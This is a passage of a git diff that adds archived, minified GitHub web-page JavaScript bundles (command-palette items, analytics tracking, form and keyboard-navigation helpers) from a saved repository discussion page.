this.title}},"AccessPolicyItem");s=l([_.O],s)},68313:(y,v,a)=>{a.d(v,{d:()=>s});var d=a(4220),_=a(88513),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.g{constructor(o){super(o);this.typeahead=o.title,this.group="commands"}get action(){return this._action}async activate(o){super.activate(o);const i=o.getAttribute("data-commands-path");if(!i)return;const c=o.query.params();c.set("command",this.action.id),o.commandPaletteInput.loading=!0;const n=await(0,_.Q)(i,{method:"POST",body:c});if(o.commandPaletteInput.loading=!1,n.ok){const t=await n.json();this.handleResponse(o,t.action,t.arguments)}else o.displayFlash("error","Failed to run command")}handleResponse(o,i,c){switch(i){case"displayFlash":o.displayFlash(c.type,c.message),o.dismiss();break}}},"CommandItem");s=l([d.O],s)},96753:(y,v,a)=>{a.d(v,{Z:()=>s});var d=a(4220),_=a(76168),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.g{constructor(o){super(o);this.priority=11,this.score=1,this.typeahead=o.title,this.group="commands"}get action(){return this._action}async activate(o){super.activate(o);try{await(0,_.z)(this.action.text),o.displayFlash("success",this.action.message),o.dismiss()}catch{o.displayFlash("error","Copy failed")}}},"CopyableItem");s=l([d.O],s)},8665:(y,v,a)=>{a.d(v,{B:()=>l});var d=a(4220),_=Object.defineProperty,m=Object.getOwnPropertyDescriptor,r=f((s,o,i,c)=>{for(var n=c>1?void 0:c?m(o,i):o,t=s.length-1,p;t>=0;t--)(p=s[t])&&(n=(c?p(o,i,n):p(n))||n);return c&&n&&_(o,i,n),n},"__decorateClass");let l=f(class extends d.g{static from(s){return new l({title:s.title,typeahead:"",priority:-10-s.index,score:-10,group:s.group,action:{type:"help",description:"",prefix:s.prefix},persistentHint:s.persistentHint})}constructor(s){super(s);this.persistentHint=s.persistentHint}activate(s,o){s.commandPaletteInput.inputValue=this.action.prefix+s.getTextWithoutMode()}autocomplete(s){s.commandPaletteInput.inputValue=this.action.prefix+s.getTextWithoutMode()}calculateScore(s){return 0}get action(){return this._action}},"HelpItem");l=r([d.O],l)},98810:(y,v,a)=>{a.d(v,{s:()=>s});var d=a(64465),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends _.g{static from(o){return new s({title:o.title,typeahead:o.title,priority:1,score:1,group:o.group,action:{type:"jump_to",description:"",path:o.path},icon:{type:"octicon",id:o.icon}})}activate(o,i){i instanceof PointerEvent?super.activate(o,i):i instanceof KeyboardEvent&&this.activateLinkBehavior(o,i,(0,d.o)(i))}copy(o){super.copy(o);const i=new URL(this.action.path,window.location.origin);return this.copyToClipboardAndAnnounce(i.toString()),i.toString()}get key(){return`${super.key}/${this.action.path}`}get action(){return this._action}},"JumpToItem");s=l([_.O],s)},28760:(y,v,a)=>{a.d(v,{V:()=>s});var d=a(98810),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.s{},"JumpToOrgItem");s=l([_.O],s)},3991:(y,v,a)=>{a.d(v,{W:()=>s});var d=a(98810),_=a(4220),m=Object.defineProperty,r=Object.getOwnPropertyDescriptor,l=f((o,i,c,n)=>{for(var t=n>1?void 0:n?r(i,c):i,p=o.length-1,u;p>=0;p--)(u=o[p])&&(t=(n?u(i,c,t):u(t))||t);return n&&t&&m(i,c,t),t},"__decorateClass");let s=f(class extends d.s{},"JumpToTeamItem");s=l([_.O],s)},77417:(y,v,a)=>{a.d(v,{U:()=>_});var d=a(33241);class _ extends d.ck{constructor(r,l){super({title:(s=l.title)!=null?s:r.title,subtitle:(o=l.subtitle)!=null?o:r.subtitle,typeahead:(i=l.title)!=null?i:r.title,priority:(c=l.priority)!=null?c:r.priority,group:(n=l.group)!=null?n:r.group,icon:{type:(t=l.iconType)!=null?t:r.iconType,id:(p=l.icon)!=null?p:r.icon},hint:"Run command"});var s,o,i,c,n,t,p;this.command=r}get path(){}copy(r){}activate(r){this.command.run(r),this.command.dismissAfterRun&&r.dismiss()}isApplicable(r){return this.command.isApplicable(r)}select(r){this.command.select?this.command.select(r):r.autocomplete(this)}}f(_,"MainWindowCommandItem")},31411:(y,v,a)=>{a.d(v,{K:()=>o});var d=a(4220),_=a(39200),m=a(98810),r=Object.defineProperty,l=Object.getOwnPropertyDescriptor,s=f((i,c,n,t)=>{for(var p=t>1?void 0:t?l(c,n):c,u=i.length-1,E;u>=0;u--)(E=i[u])&&(p=(t?E(c,n,p):E(p))||p);return t&&p&&r(c,n,p),p},"__decorateClass");let o=f(class extends m.s{static create(i){let c,n;const t=[...i.scope.tokens];for(;t.length>0&&!this.searchableScopeTypes.includes(t[t.length-1].type);)t.pop();let p;if(t.length>0?p=t[t.length-1]:p=void 0,p&&p.type==="repository"){const u=t.map(E=>E.text).join("/");c=`in ${u}`,n=`/${u}/search?q=${i.text}`}else if(p&&p.type==="owner"){const u=`org:${p.text} ${i.text}`;c=`in ${p.text}`,n=`/search?q=${u}`}else c="across all of GitHub",n=`/search?q=${i.text}`;return new o({title:`Search ${i.text}${c}`,typeahead:"",priority:-10,score:-10,group:_.O.footerGroupId,action:{type:"jump_to",description:"",path:n},icon:{type:"octicon",id:"search-color-fg-muted"},titleScope:c})}constructor(i){super(i);this.titleScope=i.titleScope}autocomplete(i){}calculateScore(i){return 0}},"SearchLinkItem");o.searchableScopeTypes=["owner","repository"],o=s([d.O],o)},4220:(y,v,a)=>{a.d(v,{O:()=>m,g:()=>l});var d=a(33241),_=a(39200);function m(s){l.register(s)}f(m,"serverDefinedItem");const r=f(class extends d.ck{constructor(s){super(s);this.position="",this.score=s.score,this.scope=s.scope,this.matchFields=s.match_fields,this._action=s.action}static register(s){this.itemClasses[s.itemType]=s}static get itemType(){return this.buildItemType(this.name)}static buildItemType(s){return s.replace(/([A-Z]($|[a-z]))/g,"_$1").replace(/(^_|_Item$)/g,"").toLowerCase()}static build(s){const o=this.itemClasses[s.action.type];if(o)return new o(s);throw new Error(`No item handler for ${s.action.type}`)}get action(){return this._action}get key(){return`${this.action.type}/${this.title}/${this.group}`}get path(){return this.action.path||""}get itemType(){return r.buildItemType(this.constructor.name)}select(s){this.scope?s.setScope(this.scope):s.autocomplete(this)}activate(s,o){}activateLinkBehavior(s,o,i){var c;(c=this.element)==null||c.activateLinkBehavior(s,o,i)}copy(s){}copyToClipboardAndAnnounce(s,o){var i;(i=this.element)==null||i.copyToClipboardAndAnnounce(s,o)}},"_ServerDefinedItem");let l=r;l.itemClasses={},l.defaultData={title:"",score:1,priority:1,action:{type:"",path:""},icon:{type:"octicon",id:"dash-color-fg-muted"},group:_.O.defaultGroupId}},85678:(y,v,a)=>{a.d(v,{j:()=>d});class d{constructor(m){this.title=m.title,this.scopeId=m.scopeId,this.scopeType=m.scopeType}get providers(){const m=[];for(const r of this._providerElements)r.provider&&m.push(r.provider);return m}get _providerElements(){return[...this.serverDefinedProviderElements,...this.clientDefinedProviderElements]}get serverDefinedProviderElements(){const m=document.querySelectorAll("server-defined-provider");return Array.from(m)}get clientDefinedProviderElements(){const m=document.querySelectorAll("client-defined-provider");return Array.from(m)}}f(d,"GlobalProvidersPage")},23207:(y,v,a)=>{a.d(v,{b:()=>d});class d extends HTMLElement{async fetchWithDebounce(m,r){return this.provider?(this._lastFetchQuery=m,await this.delay(this.provider.debounce),this._lastFetchQuery!==m?{results:[]}:this.provider.fetch(m,r)):{results:[]}}delay(m){return new Promise(r=>setTimeout(r,m))}}f(d,"ProviderElement")},78078:(y,v,a)=>{a.d(v,{B:()=>_});var d=a(33241);class _ extends d.BX{fuzzyFilter(r,l,s=0){if(l.isBlank())return r;const o=[];for(const i of r)i.calculateScore(l.text)>s&&o.push(i);return o}}f(_,"ProviderBase")},78584:(y,v,a)=>{a.d(v,{j:()=>_});var d=a(78078);class _ extends d.B{constructor(r){super();this.element=r}get type(){return this.element.type}get modes(){return this.element.modes}get debounce(){return this.element.debounce}get scopeTypes(){return this.element.scopeTypes}get src(){return this.element.src}get hasWildCard(){return this.element.hasWildCard}get hasCommands(){return this.element.hasCommands}fetch(r,l){throw new Error("Method not implemented.")}enabledFor(r){throw new Error("Method not implemented.")}clearCache(){throw new Error("Method not implemented.")}}f(_,"ServerDefinedProvider")},80829:(y,v,a)=>{a.d(v,{A:()=>_});var d=a(47779);class _{constructor(r,l,{scope:s,subjectId:o,subjectType:i,returnTo:c}={}){this.queryText=r,this.queryMode=l,this.scope=s!=null?s:d.v.emptyScope,this.subjectId=o,this.subjectType=i,this.returnTo=c}get text(){return this.queryText}get mode(){return this.queryMode}get path(){return this.buildPath(this)}buildPath(r,l=r.text){return`scope:${r.scope.type}-${r.scope.id}/mode:${r.mode}/query:${l}`}clearScope(){this.scope=d.v.emptyScope}hasScope(){return this.scope.id!==d.v.emptyScope.id}isBlank(){return this.text.trim().length===0}isPresent(){return!this.isBlank()}immutableCopy(){const r=this.text,l=this.mode,s={...this.scope};return new _(r,l,{scope:s,subjectId:this.subjectId,subjectType:this.subjectType,returnTo:this.returnTo})}hasSameScope(r){return this.scope.id===r.scope.id}params(){const r=new URLSearchParams;return this.isPresent()&&r.set("q",this.text),this.hasScope()&&r.set("scope",this.scope.id),this.mode&&r.set("mode",this.mode),this.returnTo&&r.set("return_to",this.returnTo),this.subjectId&&r.set("subject",this.subjectId),r}}f(_,"Query")},72017:(y,v,a)=>{a.d(v,{j:()=>i});var d=a(81072),_=a(68313),m=a(96753),r=a(98810),l=a(77417),s=a(4220),o=a(30481);function i(n,t){const p=document.querySelector("command-palette");let u="";t&&(t.group==="commands"||t.group==="global_commands")&&(u=t.title);const E={command_palette_session_id:p.sessionId,command_palette_scope:p.query.scope.type,command_palette_mode:p.getMode(),command_palette_title:u,command_palette_position:t==null?void 0:t.position,command_palette_score:t==null?void 0:t.score,command_palette_group:t==null?void 0:t.group,command_palette_item_type:t instanceof s.g?t==null?void 0:t.itemType:t==null?void 0:t.constructor.name};let O;n==="activate"?O=c(t):O=n,(0,o.q)(`command_palette_${O}`,E)}f(i,"sendTrackingEvent");function c(n){var t;return n instanceof d.i?"access_policy_executed":n instanceof _.d||n instanceof l.U||n instanceof m.Z?"command_executed":n instanceof r.s?((t=n.element)==null?void 0:t.newTabOpened)?"jump_to_new_tab":"jump_to":"activate"}f(c,"activateTrackingEventType")},49815:(y,v,a)=>{a.d(v,{$:()=>s,c:()=>r});var d=a(15205);const _=(0,d.Z)(m);function m(){var o,i;return(((i=(o=document.head)==null?void 0:o.querySelector('meta[name="enabled-features"]'))==null?void 0:i.content)||"").split(",")}f(m,"enabledFeatures");const r=(0,d.Z)(l);function l(o){return _().indexOf(o)!==-1}f(l,"isEnabled");const s={isFeatureEnabled:r}},30481:(y,v,a)=>{a.d(v,{Y:()=>o,q:()=>i});var d=a(88149),_=a(86058);const m="dimension_";let r;const l=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const c=(0,d.n)("octolytics");delete c.baseContext,r=new _.R(c)}catch{}function s(c){const n=(0,d.n)("octolytics").baseContext||{};if(n){delete n.app_id,delete n.event_url,delete n.host;for(const u in n)u.startsWith(m)&&(n[u.replace(m,"")]=n[u],delete n[u])}const t=document.querySelector("meta[name=visitor-payload]");if(t){const u=JSON.parse(atob(t.content));Object.assign(n,u)}const p=new URLSearchParams(window.location.search);for(const[u,E]of p)l.includes(u.toLowerCase())&&(n[u]=E);return Object.assign(n,c)}f(s,"extendBaseContext");function o(c){r==null||r.sendPageView(s(c))}f(o,"sendPageView");function i(c,n){var t,p;const u=(p=(t=document.head)==null?void 0:t.querySelector('meta[name="current-catalog-service"]'))==null?void 0:p.content,E=u?{service:u}:{};for(const[O,M]of Object.entries(n))M!=null&&(E[O]=`${M}`);r==null||r.sendEvent(c||"unknown",s(E))}f(i,"sendEvent")},88513:(y,v,a)=>{a.d(v,{Q:()=>d,v:()=>_});function d(m,r={}){if(m.match(/^https?:/))throw new Error("Can not make cross-origin requests from verifiedFetch");const l={...r.headers,"GitHub-Verified-Fetch":"true","X-Requested-With":"XMLHttpRequest"};return fetch(m,{...r,headers:l})}f(d,"verifiedFetch");function _(m,r){var l;const o={...(l=r==null?void 0:r.headers)!=null?l:{},Accept:"application/json","Content-Type":"application/json"},i=(r==null?void 0:r.body)?JSON.stringify(r.body):void 0;return d(m,{...r,body:i,headers:o})}f(_,"verifiedFetchJSON")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd-a2f1fe6aff70.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js new file mode 100644 index 0000000..ce79225 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var $=Object.defineProperty;var n=(j,y)=>$(j,"name",{value:y,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],{7679:(j,y,h)=>{h.d(y,{H:()=>c,v:()=>p});var E=h(59753);function p(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!1)}n(p,"showGlobalError");function c(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!0)}n(c,"hideGlobalError"),(0,E.on)("deprecatedAjaxError","[data-remote]",function(s){const f=s.detail,{error:L,text:m}=f;s.currentTarget===s.target&&(L==="abort"||L==="canceled"||(/{h.d(y,{Ty:()=>p,YE:()=>c,Zf:()=>s});var E=h(11793);const p=n(()=>{const f=document.querySelector("meta[name=keyboard-shortcuts-preference]");return f?f.content==="all":!0},"areCharacterKeyShortcutsEnabled"),c=n(f=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(f)||f.includes("Alt")&&f.includes("Shift"),"isNonCharacterKeyShortcut"),s=n(f=>{const L=(0,E.EL)(f);return p()?!0:c(L)},"isShortcutAllowed")},75371:(j,y,h)=>{h.d(y,{VZ:()=>p,_C:()=>c,cv:()=>E,oE:()=>s});function E(m){const a=m.getBoundingClientRect();return{top:a.top+window.pageYOffset,left:a.left+window.pageXOffset}}n(E,"offset");function p(m){let a=m;const l=a.ownerDocument;if(!l||!a.offsetParent)return;const g=l.defaultView.HTMLElement;if(a!==l.body){for(;a!==l.body;){if(a.parentElement instanceof g)a=a.parentElement;else return;const{position:C,overflowY:T,overflowX:r}=getComputedStyle(a);if(C==="fixed"||T==="auto"||r==="auto"||T==="scroll"||r==="scroll")break}return a instanceof Document?null:a}}n(p,"overflowParent");function c(m,a){let l=a;const g=m.ownerDocument;if(!g)return;const C=g.documentElement;if(!C||m===C)return;const T=s(m,l);if(!T)return;l=T._container;const r=l===g.documentElement&&g.defaultView?{top:g.defaultView.pageYOffset,left:g.defaultView.pageXOffset}:{top:l.scrollTop,left:l.scrollLeft},d=T.top-r.top,v=T.left-r.left,w=l.clientHeight,k=l.clientWidth,H=w-(d+m.offsetHeight),P=k-(v+m.offsetWidth);return{top:d,left:v,bottom:H,right:P,height:w,width:k}}n(c,"overflowOffset");function s(m,a){let l=m;const g=l.ownerDocument;if(!g)return;const C=g.documentElement;if(!C)return;const T=g.defaultView.HTMLElement;let r=0,d=0;const v=l.offsetHeight,w=l.offsetWidth;for(;!(l===g.body||l===a);)if(r+=l.offsetTop||0,d+=l.offsetLeft||0,l.offsetParent instanceof T)l=l.offsetParent;else return;let k,H,P;if(!a||a===g||a===g.defaultView||a===g.documentElement||a===g.body)P=C,k=f(g.body,C),H=L(g.body,C);else if(a instanceof T)P=a,k=a.scrollHeight,H=a.scrollWidth;else return;const x=k-(r+v),S=H-(d+w);return{top:r,left:d,bottom:x,right:S,_container:P}}n(s,"positionedOffset");function f(m,a){return Math.max(m.scrollHeight,a.scrollHeight,m.offsetHeight,a.offsetHeight,a.clientHeight)}n(f,"getDocumentHeight");function L(m,a){return Math.max(m.scrollWidth,a.scrollWidth,m.offsetWidth,a.offsetWidth,a.clientWidth)}n(L,"getDocumentWidth")},56238:(j,y,h)=>{h.d(y,{Bt:()=>f,DN:()=>a,KL:()=>C,Se:()=>m,qC:()=>T,sw:()=>l});var E=h(59753),p=h(2061),c=h(7679);(0,E.on)("click",".js-remote-submit-button",async function(r){const v=r.currentTarget.form;r.preventDefault();let w;try{w=await fetch(v.action,{method:v.method,body:new FormData(v),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}w&&!w.ok&&(0,c.v)()});function s(r,d,v){return r.dispatchEvent(new CustomEvent(d,{bubbles:!0,cancelable:v}))}n(s,"fire");function f(r,d){d&&(L(r,d),(0,p.j)(d)),s(r,"submit",!0)&&r.submit()}n(f,"requestSubmit");function L(r,d){if(!(r instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(d instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(d.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!r||r!==d.form)throw new Error("The specified element is not owned by the form element.")}n(L,"checkButtonValidity");function m(r,d){if(typeof d=="boolean")if(r instanceof HTMLInputElement)r.checked=d;else throw new TypeError("only checkboxes can be set to boolean value");else{if(r.type==="checkbox")throw new TypeError("checkbox can't be set to string value");r.value=d}s(r,"change",!1)}n(m,"changeValue");function a(r,d){for(const v in d){const w=d[v],k=r.elements.namedItem(v);(k instanceof HTMLInputElement||k instanceof HTMLTextAreaElement)&&(k.value=w)}}n(a,"fillFormValues");function l(r){if(!(r instanceof HTMLElement))return!1;const d=r.nodeName.toLowerCase(),v=(r.getAttribute("type")||"").toLowerCase();return d==="select"||d==="textarea"||d==="input"&&v!=="submit"&&v!=="reset"||r.isContentEditable}n(l,"isFormField");function g(r){return new URLSearchParams(r)}n(g,"searchParamsFromFormData");function C(r,d){const v=new URLSearchParams(r.search),w=g(d);for(const[k,H]of w)v.append(k,H);return v.toString()}n(C,"combineGetFormSearchParams");function T(r){return g(new FormData(r)).toString()}n(T,"serialize")},32750:(j,y,h)=>{h.d(y,{QZ:()=>P,ZH:()=>V,jK:()=>x,T_:()=>F,Sw:()=>X,VF:()=>U,VH:()=>Y});var E=h(6741),p=h(59753),c=h(75371),s=h(11793),f=h(5287),L=h(64463);function m(e,t){let i=e;const o=e.ownerDocument;(i===o||i===o.defaultView||i===o.documentElement||i===o.body)&&(i=o);const u=o.defaultView.Document;if(i instanceof u){const M=t.top!=null?t.top:o.defaultView.pageYOffset,B=t.left!=null?t.left:o.defaultView.pageXOffset;o.defaultView.scrollTo(B,M);return}const b=o.defaultView.HTMLElement;if(!(i instanceof b))throw new Error("invariant");i.scrollTop=t.top,t.left!=null&&(i.scrollLeft=t.left)}n(m,"scrollTo");var a=h(5878);const l=navigator.userAgent.match(/Macintosh/),g=l?"metaKey":"ctrlKey",C=l?"Meta":"Control";let T=!1,r={x:0,y:0};(0,L.N7)(".js-navigation-container:not(.js-navigation-container-no-mouse)",{subscribe:e=>(0,E.qC)((0,E.RB)(e,"mouseover",d),(0,E.RB)(e,"mouseover",v))});function d(e){e instanceof MouseEvent&&((r.x!==e.clientX||r.y!==e.clientY)&&(T=!1),r={x:e.clientX,y:e.clientY})}n(d,"onContainerMouseMove");function v(e){if(T)return;const t=e.currentTarget,{target:i}=e;if(!(i instanceof Element)||!(t instanceof HTMLElement)||!t.closest(".js-active-navigation-container"))return;const o=i.closest(".js-navigation-item");o&&_(o,t)}n(v,"onContainerMouseOver");let w=0;(0,L.N7)(".js-active-navigation-container",{add(){w++,w===1&&document.addEventListener("keydown",k)},remove(){w--,w===0&&document.removeEventListener("keydown",k)}});function k(e){if(e.target!==document.body&&e.target instanceof HTMLElement&&!e.target.classList.contains("js-navigation-enable"))return;T=!0;const t=I();let i=!1;if(t){const o=t.querySelector(".js-navigation-item.navigation-focus")||t;i=(0,p.f)(o,"navigation:keydown",{hotkey:(0,s.EL)(e),originalEvent:e,originalTarget:e.target})}i||e.preventDefault()}n(k,"fireCustomKeydown"),(0,p.on)("navigation:keydown",".js-active-navigation-container",function(e){const t=e.currentTarget,i=e.detail.originalTarget.matches("input, textarea"),o=e.target;if(!!(0,f.Zf)(e.detail.originalEvent)){if(o.classList.contains("js-navigation-item"))if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":A(o,t);break;case"ArrowDown":O(o,t);break;case"Enter":case`${C}+Enter`:R(o,e.detail.originalEvent[g]);break}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t);break;case"Alt+v":G(o,t);break;case"Control+v":N(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"J":O(o,t);break;case"k":case"K":A(o,t);break;case"o":case"Enter":case`${C}+Enter`:R(o,e.detail[g]);break}}else{const u=D(t)[0];if(u)if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowDown":_(u,t)}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+v":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":_(u,t)}}}if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":case"ArrowDown":e.preventDefault();break;case"Enter":e.preventDefault()}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":case"Control+v":case"Alt+v":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"k":case"o":e.preventDefault();break;case"Enter":case`${g}+Enter`:e.preventDefault()}}}});function H(e){const t=e.modifierKey||e.altKey||e.ctrlKey||e.metaKey;(0,p.f)(e.currentTarget,"navigation:open",{modifierKey:t,shiftKey:e.shiftKey})||e.preventDefault()}n(H,"fireOpen"),(0,p.on)("click",".js-active-navigation-container .js-navigation-item",function(e){H(e)}),(0,p.on)("navigation:keyopen",".js-active-navigation-container .js-navigation-item",function(e){const t=e.currentTarget.classList.contains("js-navigation-open")?e.currentTarget:e.currentTarget.querySelector(".js-navigation-open");t instanceof HTMLAnchorElement?(e.detail.modifierKey?(window.open(t.href,"_blank"),window.focus()):t.dispatchEvent(new MouseEvent("click",{bubbles:!0,cancelable:!0}))&&t.click(),e.preventDefault()):H(e)});function P(e){const t=I();e!==t&&(t!==null&&x(t),e==null||e.classList.add("js-active-navigation-container"))}n(P,"activate");function x(e){e.classList.remove("js-active-navigation-container")}n(x,"deactivate");const S=[];function U(e){const t=I();t&&S.push(t),P(e)}n(U,"push");function X(e){x(e),V(e);const t=S.pop();t&&P(t)}n(X,"pop");function F(e,t){const i=t||e,o=D(e)[0],u=i.closest(".js-navigation-item")||o;if(P(e),u instanceof HTMLElement){if(_(u,e))return;const M=(0,c.VZ)(u);W(M,u)}}n(F,"navigation_focus");function V(e){const t=e.querySelectorAll(".js-navigation-item.navigation-focus");for(const i of t)i.classList.remove("navigation-focus")}n(V,"clear");function Y(e,t){V(e),F(e,t)}n(Y,"refocus");function A(e,t){const i=D(t),o=i.indexOf(e),u=i[o-1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(A,"cursorUp");function O(e,t){const i=D(t),o=i.indexOf(e),u=i[o+1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(O,"cursorDown");function G(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o-1])&&(M=(0,c._C)(b,u))&&M.top>=0;)o--;if(b){if(_(b,t))return;K(u,b)}}n(G,"pageUp");function N(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o+1])&&(M=(0,c._C)(b,u))&&M.bottom>=0;)o++;if(b){if(_(b,t))return;K(u,b)}}n(N,"pageDown");function R(e,t=!1){(0,p.f)(e,"navigation:keyopen",{modifierKey:t})}n(R,"keyOpen");function _(e,t){return(0,p.f)(e,"navigation:focus")?(V(t),e.classList.add("navigation-focus"),!1):!0}n(_,"focusItem");function I(){return document.querySelector(".js-active-navigation-container")}n(I,"getActiveContainer");function D(e){const t=[];for(const i of e.querySelectorAll(".js-navigation-item"))i instanceof HTMLElement&&(0,a.Z)(i)&&t.push(i);return t}n(D,"getItems");function Z(e){return e.getAttribute("data-navigation-scroll")||"item"}n(Z,"getScrollStyle");function K(e,t,i="smooth"){const o=(0,c._C)(t,e);!o||(o.bottom<=0?t.scrollIntoView({behavior:i,block:"start"}):o.top<=0&&t.scrollIntoView({behavior:i,block:"end"}))}n(K,"scrollPageTo");function W(e,t){const i=(0,c.oE)(t,e),o=(0,c._C)(t,e);if(!(i==null||o==null))if(o.bottom<=0&&document.body){const b=(e.offsetParent!=null?e.scrollHeight:document.body.scrollHeight)-(i.bottom+o.height);m(e,{top:b})}else o.top<=0&&m(e,{top:i.top})}n(W,"scrollItemTo")},2061:(j,y,h)=>{h.d(y,{j:()=>E,u:()=>p});function E(c){const s=c.closest("form");if(!(s instanceof HTMLFormElement))return;let f=p(s);if(c.name){const L=c.matches("input[type=submit]")?"Submit":"",m=c.value||L;f||(f=document.createElement("input"),f.type="hidden",f.classList.add("is-submit-button-value"),s.prepend(f)),f.name=c.name,f.value=m}else f&&f.remove()}n(E,"persistSubmitButtonValue");function p(c){const s=c.querySelector("input.is-submit-button-value");return s instanceof HTMLInputElement?s:null}n(p,"findPersistedSubmitButtonValue")},6741:(j,y,h)=>{h.d(y,{RB:()=>p,qC:()=>c,w0:()=>E});class E{constructor(f){this.closed=!1,this.unsubscribe=()=>{f(),this.closed=!0}}}n(E,"Subscription");function p(s,f,L,m={capture:!1}){return s.addEventListener(f,L,m),new E(()=>{s.removeEventListener(f,L,m)})}n(p,"fromEvent");function c(...s){return new E(()=>{for(const f of s)f.unsubscribe()})}n(c,"compose")},5878:(j,y,h)=>{h.d(y,{Z:()=>p});function E(c){return c.offsetWidth<=0&&c.offsetHeight<=0}n(E,"hidden");function p(c){return!E(c)}n(p,"visible")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts-e498b20a5640.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js new file mode 100644 index 0000000..eecbc9b --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js @@ -0,0 +1,101 @@ +(()=>{var Jl=Object.defineProperty;var s=($,D)=>Jl($,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["behaviors"],{56851:($,D,f)=>{"use strict";var T=f(7679),c=f(59753);(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){e.currentTarget===e.target&&(e.defaultPrevented||e.currentTarget.classList.add("loading"))}),(0,c.on)("deprecatedAjaxComplete","[data-remote]",function(e){e.currentTarget===e.target&&e.currentTarget.classList.remove("loading")});var C=f(65935);(0,C.AC)("form.js-ajax-pagination, .js-ajax-pagination form",async function(e,t){const n=e.closest(".js-ajax-pagination");let o;try{o=await t.html()}catch(r){if(r.response&&r.response.status===404){n.remove();return}else throw r}n.replaceWith(o.html),(0,c.f)(e,"page:loaded")});var _=f(30481);const x="analytics.click";(0,c.on)("click","[data-analytics-event]",e=>{const n=e.currentTarget.getAttribute("data-analytics-event");if(!n)return;const o=JSON.parse(n);(0,_.q)(x,o)});var u=f(64463);const g=["system","disabled"].map(e=>`html[data-a11y-animated-images="${e}"] img[data-animated-image]`).join(", ");(0,u.N7)(g,e=>{if(!(e instanceof HTMLImageElement)||e.closest("a")&&!(e.parentElement instanceof HTMLAnchorElement))return;let t=e.parentElement,n=null;if(t instanceof HTMLAnchorElement){if(t.childElementCount>1)return;n=t,n.setAttribute("data-target","animated-image.originalLink"),t=n.parentElement}e.removeAttribute("data-animated-image"),e.setAttribute("data-target","animated-image.originalImage");const o=n?n.cloneNode(!0):e.cloneNode(!0),r=document.createElement("animated-image");r.appendChild(o),t==null||t.replaceChild(r,n||e)});var h=f(22485);document.addEventListener("pjax:start",function(){(0,h.x)("Loading page")}),document.addEventListener("pjax:error",function(){(0,h.x)("Loading failed")}),document.addEventListener("pjax:end",function(){(0,h.x)("Loading complete")});var 